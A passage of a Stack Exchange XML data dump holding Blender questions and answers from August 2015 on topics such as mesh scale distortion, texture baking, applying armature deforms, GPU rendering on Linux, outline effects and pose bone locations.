href=&quot;https://i.stack.imgur.com/JFS3j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JFS3j.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DPC&lt;/p&gt;&#xA;" OwnerUserId="15508" LastActivityDate="2017-05-06T15:58:01.943" Title="How to use the textured material from a multi-mesh object onto a single mesh obj?" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35967" PostTypeId="2" ParentId="35919" CreationDate="2015-08-18T22:29:36.720" Score="7" Body="&lt;p&gt;This sort of thing can happen when your object has a &lt;a href=&quot;https://blender.stackexchange.com/q/8654/599&quot;&gt;very extreme scale&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix it, apply the scale with &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Apply Scale&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/R8CjF.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/R8CjF.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you scale an object in object mode the mesh data is not changed, but it will be distorted according to the scale in a non-destructive way (like a modifier). Since your object was scaled up by such a huge amount, it caused some distortion; probably due to precision error.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2015-08-18T22:29:36.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35968" PostTypeId="1" AcceptedAnswerId="35974" CreationDate="2015-08-18T22:30:56.260" Score="2" ViewCount="1095" Body="&lt;p&gt;The title might be a little confusing, so let me clarify. I want to 3D print a model. However, rather than modeling the 3D print in a certain action pose, I would like to model it in the standard T pose and then deform the mesh with a rig and 3D print that deformed mesh. I currently have a completed 3D model than I successfully 3D printed through Shapeways, but when I rigged it and tried to get a different pose it just wan't possible. Shapeways would not recognize the rig deform and the mesh would be in its default stance.&lt;/p&gt;&#xA;" OwnerUserId="3109" LastEditorUserId="599" LastEditDate="2015-08-19T00:06:10.530" LastActivityDate="2015-08-19T00:06:10.530" Title="Can I permanently deform a mesh with a rig?" Tags="&lt;modifiers&gt;&lt;rigging&gt;&lt;armature&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35969" PostTypeId="1" AcceptedAnswerId="36031" CreationDate="2015-08-18T22:49:01.390" Score="3" ViewCount="2211" Body="&lt;p&gt;I am currently running Ubuntu 15.04 64-bit on a machine with a Radeon R9 270X GPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've grabbed the latest 64-bit Linux build from &lt;a href=&quot;https://builder.blender.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt; (currently 2.75-a08f8a4) and I have installed the latest Catalyst drivers directly from AMD's website (currently 15.20.1046-150622a-186193C).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, no matter what I do, I still don't see an OpenCL option anywhere in Blender's user preferences:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NsRXU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NsRXU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing or doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I tried setting the &lt;code&gt;CYCLES_OPENCL_SPLIT_KERNEL_TEST=1&lt;/code&gt; environment variable but it made no difference.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorDisplayName="user1853" LastEditDate="2018-03-06T21:38:28.837" LastActivityDate="2018-03-06T21:38:28.837" Title="How to enable GPU rendering with my Radeon card in Linux?" Tags="&lt;opencl&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35970" PostTypeId="1" CreationDate="2015-08-18T22:53:59.110" Score="4" ViewCount="191" Body="&lt;p&gt;I encountered a problem when modeling an inside of the wheel. &#xA;The problematic part is where a spoke joins a rim. I want both the rim and spoke to have sharp edges, but when I crease the transition between them, the circular shape of the rim is no longer maintained there. And when I don't crease the transition it looks weird.&#xA;Here is how the creasing looks like without subsurf in edit mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.imgur.com/siwxZIm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.imgur.com/siwxZIm.png&quot; alt=&quot;image&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you would like to do some tests on the model, you can download it &lt;a href=&quot;https://mega.nz/#!bEVFFJ5R!Bfp5GkoMXNYVMcJyRYaUFjpYApmOvP4IOT0xLmIZaLg&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&#xA;Is there a better way to get sharp edges than via creases?&#xA;Thank you in advance! &lt;/p&gt;&#xA;" OwnerUserId="7620" LastEditorUserId="599" LastEditDate="2015-08-18T23:01:16.243" LastActivityDate="2017-01-24T21:27:40.573" Title="Sharp edges while maintaining circular shape" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35971" PostTypeId="2" ParentId="35965" CreationDate="2015-08-18T23:11:48.460" Score="1" Body="&lt;p&gt;Quick mapping (sloppy) of your image on single sphere mesh on the left to simulate your starting point. Middle image is placement of the two participants of the bake. Then baked onto another final mesh on the right side.  The 3 images are different stages of the baking process.&#xA;The created texture has black background which becomes transparent via color ramp and transparent shader.  I nested the hemisphere askew to increase readability.  All the hemisphere shapes below are a single mesh.  Your are seeing objects below with transparency so you may need more time to get the orientation of the object.  I may correct this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eBNHG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eBNHG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Created texture with black on left.  Mapped texture with black.  Objects baked in alignment.  Below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/GXMVP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GXMVP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two alternatives.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;ol&gt;&#xA;&lt;li&gt;Consider Baking in Cycles Render or Blender Render.  You will use a new texture to record the color reflection of one source mesh to the other target mesh.&#xA;Your finished original bushy mesh can be illuminated or set to emission material.  We assume your shapes are roughly hemispheres. Hemisphere is sphere cut in half.  The target mesh is hemisphere with reflective surface.  Original mesh in placed over the reflective target.  Bake target mesh.  See video references for detailed instruction on baking in cycles render or blender render.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Consider creating a regular rectangular tile of leaves texture, which is expected to be modest work. Leaves in this texture can all be same size. New mesh is cylinder.  UV Map cylinder to leaves texture.  Leaves appear all same size as in the soup can model.  Use proportional editing to reshape cylinder in to hemisphere.  In this scenario your original bushy collection of meshes is discarded completely... rather I mean ... placed gently in the experience bin.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Abbreviated Picture Notes&#xA;Blender Cycles Texture Baking Setup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the following the red object is your texture object with emission material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Red emission object is next to green reflective object follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6kDay.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6kDay.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bake Result is the New texture follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/HahZw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HahZw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Texture placed back on green inner object and rendered follows&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Original Red object has been set to No Render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4gc9l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4gc9l.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-08-19T01:59:17.837" LastActivityDate="2015-08-19T01:59:17.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35972" PostTypeId="1" CreationDate="2015-08-18T23:24:43.040" Score="1" ViewCount="5684" Body="&lt;p&gt;This is my first question here. So hello. Anyway, my question is: how could I make it look like a mesh is covered in feathers? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I am making a few scientifically acurate dinosaur models i.e velociraptor and many were covered in feathers. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to be able to see it both on render (cycles) and when I export my mesh into the unity game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Textures or a modifier of some sort? any help would be fantastic!&lt;/p&gt;&#xA;" OwnerUserId="16517" LastActivityDate="2015-08-18T23:24:43.040" Title="How to make feathers on a mesh?" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;particles&gt;&lt;effects&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35973" PostTypeId="2" ParentId="3391" CreationDate="2015-08-18T23:30:13.337" Score="9" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EBAWY.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EBAWY.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I combined a dark blue SSS shader and a white Glass shader with an add shader, and used an orange volume absorption to achieve this result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7wLZw.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7wLZw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16518" LastEditorUserId="16521" LastEditDate="2015-08-19T12:57:51.627" LastActivityDate="2015-08-19T12:57:51.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35974" PostTypeId="2" ParentId="35968" CreationDate="2015-08-19T00:05:44.273" Score="5" Body="&lt;p&gt;Apply the &lt;em&gt;Armature Deform&lt;/em&gt; modifier to the mesh object by clicking the &lt;em&gt;Apply&lt;/em&gt; button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9GsKt.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9GsKt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your object has multiple modifiers, you may want to apply them all. To do this quickly, ensure the correct object is selected and press &lt;kbd&gt;&amp;#9095; Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; &lt;em&gt;&gt; Mesh&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-08-19T00:05:44.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35975" PostTypeId="1" AcceptedAnswerId="35978" CreationDate="2015-08-19T00:48:01.717" Score="4" ViewCount="2741" Body="&lt;p&gt;This has got to be my most frustrating moment while using blender! Whenever i use blender for a long time (without saving too!), i happen to change the current mode i am in when i try to undo an action blender undoes the action that took place while i was in that specific mode (object, edit, sculpt).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And heres the super annoying part, i try to undo to the changes that where done in that mode and a huge change in my mesh occurs, then i switch to the mode that i had previously been doing my legit modeling, and still i can't manage to restore my previous session(Come on now!). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So(sigh) i look througth the history in the tools menu for every mode i was In, and NOPE, i just can restore my previous session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now i realise that blender store only a certain amount of actions in its history, so my previous action was deleted while i searched for last my session. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to avoid this problem? It would be very appreciated :)&lt;/p&gt;&#xA;" OwnerUserId="15133" LastEditorUserId="55" LastEditDate="2015-08-21T22:55:37.137" LastActivityDate="2016-09-15T04:42:26.357" Title="Why can't i get my undo history back?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35976" PostTypeId="1" CreationDate="2015-08-19T01:02:56.770" Score="1" ViewCount="57" Body="&lt;p&gt;The Blender Manual which uses the monkey on a Bezier curve does not seem relevant. For my modeling, the objects would be a stick that bends as if it were a segment of an arch over a door or window. perhaps only 45deg, but as much as 180 deg. arch. and other tutorials that make things move like a snake in 3 directions are confusing for my level of experience. I just want to bend a stick on a very well defines regular arch of a specific radius.&lt;/p&gt;&#xA;" OwnerUserId="16506" LastActivityDate="2015-08-19T01:02:56.770" Title="I am looking for a tutorial that shows the basic steps of the curve modifier. VERY BASIC, PLEASE" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-19T01:57:56.483" ContentLicense="CC BY-SA 3.0" />
  <row Id="35977" PostTypeId="1" CreationDate="2015-08-19T01:06:54.823" Score="2" ViewCount="3188" Body="&lt;p&gt;Recently in Blender 2.75 I've come face to face with an inability to select the proper faces, edges or vertices in edit mode individually.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selecting everything with the &lt;kbd&gt;A&lt;/kbd&gt; button is no problem, but when I right click on a vertex, face, or edge in their respective selection modes, there's no orange highlight and no manipulator around the selected face/edge/vertex, which means I have no way of selecting an individual mesh piece in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've even tried the lasso tool and selecting stuff by pressing the &lt;kbd&gt;C&lt;/kbd&gt; button and clicking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't have this problem until I changed my Intel graphics driver to display color in 16 bit. Except I only changed it to fix another problem in blender which made the viewport lag one step behind every action, like clicking on an object or dragging or moving something around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd love to know if there's any way to fix this problem and if there's still a way to keep blender from lagging like it did before. I look forward to seeing your answers.&lt;/p&gt;&#xA;" OwnerUserId="16522" LastEditorUserId="22990" LastEditDate="2016-04-09T10:58:29.860" LastActivityDate="2021-05-14T12:03:30.327" Title="Blender Will Not Select Faces, Vertices, or Edges in edit mode individually" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;3d-view&gt;&lt;selection-tools&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35978" PostTypeId="2" ParentId="35975" CreationDate="2015-08-19T01:32:44.817" Score="5" Body="&lt;p&gt;No, there is no way around this currently.&#xA;This is a limitation in Blender's undo stack. Each mode has its own undo history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://www.blender.org/manual/interface/undo_and_redo.html&quot; rel=&quot;nofollow&quot;&gt;https://www.blender.org/manual/interface/undo_and_redo.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-09-15T04:42:26.357" LastActivityDate="2016-09-15T04:42:26.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35979" PostTypeId="1" CreationDate="2015-08-19T01:43:38.870" Score="1" ViewCount="96" Body="&lt;p&gt;Suppose I have just created a ~.blend file, and I want to include in the file a copyright notice. Two ways I can think of to do it off the top of my heard are to create a plane mesh object, and assign an image texture to it, where the image is a copyright notice; and to create a text object, where the object itself is the copyright notice. I'm sure if I think about it more, I can come up with several other methods, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a recommended or generally accepted way to put a copyright notice in a Blend file, perhaps in the file's metadata?&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2015-08-19T01:43:38.870" Title="Is there a recommended way to put a copyright notice in a ~.blend file?" Tags="&lt;image&gt;&lt;file-format&gt;&lt;blend-files&gt;&lt;text-object&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-19T03:57:29.567" ContentLicense="CC BY-SA 3.0" />
  <row Id="35980" PostTypeId="2" ParentId="35805" CreationDate="2015-08-19T03:21:05.390" Score="2" Body="&lt;p&gt;The way they achieve the outline in the show rwby is unique in that it is not rendered at all.&lt;br&gt;&#xA;They use what are called &quot;playblasts&quot; which is a feature in maya where the animation is recorded in real time and not rendered. This is why yours is not coming out right the outline will only appear in the texture view of blender. I like to animate in this style because you can have good looking low poly character but anyway how you achieve this is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;copy object in object mode&lt;/li&gt;&#xA;&lt;li&gt;scale the object up slightly and while in edit mode press w and select flip normals(this will cause only the inside faces to show)&lt;/li&gt;&#xA;&lt;li&gt;give the main object a skin color and make sure the shadeless option is selected&lt;/li&gt;&#xA;&lt;li&gt;give the outline mesh a black shadeless color and adjust in edit mode where needed&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It will not come out in rendered view and will only show in texture view (still pretty cool though)&lt;/p&gt;&#xA;" OwnerUserId="16523" LastEditorUserId="2217" LastEditDate="2015-08-19T03:56:49.120" LastActivityDate="2015-08-19T03:56:49.120" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35981" PostTypeId="1" CreationDate="2015-08-19T03:31:20.403" Score="3" ViewCount="4838" Body="&lt;p&gt;Rather than continue spending time on &lt;a href=&quot;https://blender.stackexchange.com/questions/35615/one-or-more-addons-do-not-have-utf-8-encoding&quot;&gt;an issue I can't resolve&lt;/a&gt;, I want to completely wipe Blender from my computer and reinstall it as if I'm installing it for the first time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps I tried:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I selected &quot;Load factory settings&quot;, but Blender stayed the same.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I dragged the Blender folder and zip file to the trash and Securely Emptied Trash, but when I downloaded and installed a fresh version from the Blender site, Blender still had my old settings.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Still, Blender opens with all my old settings. How can I remove all traces of Blender and install it totally new?&lt;/p&gt;&#xA;" OwnerUserId="15400" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2020-04-13T17:06:45.940" Title="How can I completely remove Blender from my Mac?" Tags="&lt;installation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35982" PostTypeId="1" AcceptedAnswerId="35987" CreationDate="2015-08-19T04:38:27.260" Score="7" ViewCount="3195" Body="&lt;p&gt;I use the below code to retrieve location of pose.bone, but it always give 0 (or -0).&lt;br&gt;&#xA;It seems the &lt;code&gt;pose.bone&lt;/code&gt; location is the relative position of its parent so it will not-zero value once I grab pose.bone to somewhere?! &lt;br&gt;&#xA;Is there a way to get &quot;global location(X, Y, Z)&quot; of &lt;code&gt;pose.bone&lt;/code&gt;??&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for action in bpy.data.actions:&#xA;    print(action)&#xA;    for fcurve in action.fcurves:&#xA;         print(&quot;data_path:&quot; + fcurve.data_path + &quot;, channel &quot; + str(fcurve.array_index))&#xA;         for keyframe in fcurve.keyframe_points:&#xA;              print(keyframe.co)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&amp;nbsp;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;data_path:pose.bones[&quot;Bone.011&quot;].location, channel 0 &#xA;Vector (13.0000, -0.0000) &#xA;Vector (29.0000, -0.0000) &#xA;Vector (40.0000, -0.0000) &#xA;Vector (45.0000, -0.0000) &#xA;Vector (83.0000, -0.0000) &#xA;Vector (110.0000, -0.0000) &#xA;data_path:pose.bones[&quot;Bone.011&quot;].location, channel 1 &#xA;Vector (13.0000, 0.0000) &#xA;Vector (29.0000, 0.0000) &#xA;Vector (40.0000, 0.0000) &#xA;Vector (45.0000, 0.0000) &#xA;Vector (83.0000, 0.0000) &#xA;Vector (110.0000, 0.0000) &#xA;data_path:pose.bones[&quot;Bone.011&quot;].location, channel 2 &#xA;Vector (13.0000, -0.0000) &#xA;Vector (29.0000, -0.0000) &#xA;Vector (40.0000, -0.0000) &#xA;Vector (45.0000, -0.0000) &#xA;Vector (83.0000, -0.0000) &#xA;Vector (110.0000, -0.0000) &#xA;data_path:location, channel 0 &#xA;Vector (13.0000, 0.0245) &#xA;Vector (45.0000, -3.3037) &#xA;Vector (83.0000, 0.0245) &#xA;Vector (110.0000, 1.5101) &#xA;data_path:location, channel 1 &#xA;Vector (13.0000, -0.0075) &#xA;Vector (45.0000, -0.0075) &#xA;Vector (83.0000, -0.0075) &#xA;Vector (110.0000, -0.0075) &#xA;data_path:location, channel 2 &#xA;Vector (13.0000, 3.0031) &#xA;Vector (45.0000, 2.5048) &#xA;Vector (83.0000, 1.8442) &#xA;Vector (110.0000, 1.8442) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16525" LastEditorUserId="599" LastEditDate="2015-08-19T06:16:32.383" LastActivityDate="2020-11-16T23:14:37.940" Title="How to get posebone global location" Tags="&lt;python&gt;&lt;add-on&gt;&lt;motion-capture&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35983" PostTypeId="2" ParentId="35901" CreationDate="2015-08-19T05:45:53.420" Score="3" Body="&lt;p&gt;&lt;strong&gt;Duplicate Mesh Outline&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have a mesh to be outlined:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/KMObW.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/KMObW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;kbd&gt;shift+d&lt;/kbd&gt; to get a copy of the object and the mesh (give it&#xA;appropriate names) &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;u&lt;/kbd&gt;&lt;kbd&gt;t&lt;/kbd&gt;: Make Single User &quot;Materials + Tex&quot;, to get&#xA;separate materials (give them appropriate names)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;tab&lt;/kbd&gt; enter edit mode&lt;/li&gt;&#xA;&lt;li&gt;select all vertices &lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;alt+s&lt;/kbd&gt; fatten the mesh e.g by 0.1. The resulting mesh should be larger than the original. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/0nilw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0nilw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;w&lt;/kbd&gt; + &lt;code&gt;flip normals&lt;/code&gt; to make the faces show inside&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;tab&lt;/kbd&gt; to leave edit mode&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As the outline should have an &quot;aura&quot; effect, I suggest to chose a shadeless material with &quot;Add&quot; Alpha. The color should be pretty dark. Otherwise it will hide the background too much.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ivRQG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ivRQG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This results in a semi-transparent &quot;glowing&quot; effect. &lt;a href=&quot;https://i.stack.imgur.com/F7HHK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/F7HHK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While it looks strange in the preview the game engine will show you a nice outline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OIetJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OIetJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Thanks to Satish Goda (youtube) I know now how to enable backface culling. Therfore I suggest following additional settings:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;parent the hover to the original object&lt;/li&gt;&#xA;&lt;li&gt;make the hover unselectable&lt;/li&gt;&#xA;&lt;li&gt; in Properties enable &lt;code&gt;Shading/Backface Culling&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sPHMv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sPHMv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the effect. Now you can think about logic that switches it on and off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hint:&lt;/strong&gt; you can even fade it by playing material actions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it helps&lt;/p&gt;&#xA;" OwnerUserId="13395" LastEditorUserId="13395" LastEditDate="2015-08-20T05:46:34.233" LastActivityDate="2015-08-20T05:46:34.233" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35984" PostTypeId="2" ParentId="35981" CreationDate="2015-08-19T06:04:36.900" Score="3" Body="&lt;p&gt;Check the OSX sections in the Blender manual, it lists all the default paths where Blender stores data / scripts after you install them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/advanced/blender_directory_layout.html?highlight=directory&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/dev/advanced/blender_directory_layout.html?highlight=directory&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you remove Blender from all those places, and then reinstall, you'll be ready to rock again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;__&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender, like almost all programs, must store persistent information like preferences, themes and scripts somewhere on your hard-drive. This is information you don't want to lose when you update Blender to a newer version. Normally that's exactly what you want, but if the stored information contains some weird content ( like in your case ) you can do a purge by removing all references to Blender from the directories listed in the link above. Blender will add those directories back again if it needs to.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2020-04-13T17:06:45.940" LastActivityDate="2020-04-13T17:06:45.940" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="35985" PostTypeId="2" ParentId="35591" CreationDate="2015-08-19T06:15:15.137" Score="3" Body="&lt;p&gt;Use a long strand of hair with 2 or 3 children, then use one of the styling options to randomise them, ie curl, braids etc&lt;/p&gt;&#xA;" OwnerUserId="5550" LastActivityDate="2015-08-19T06:15:15.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
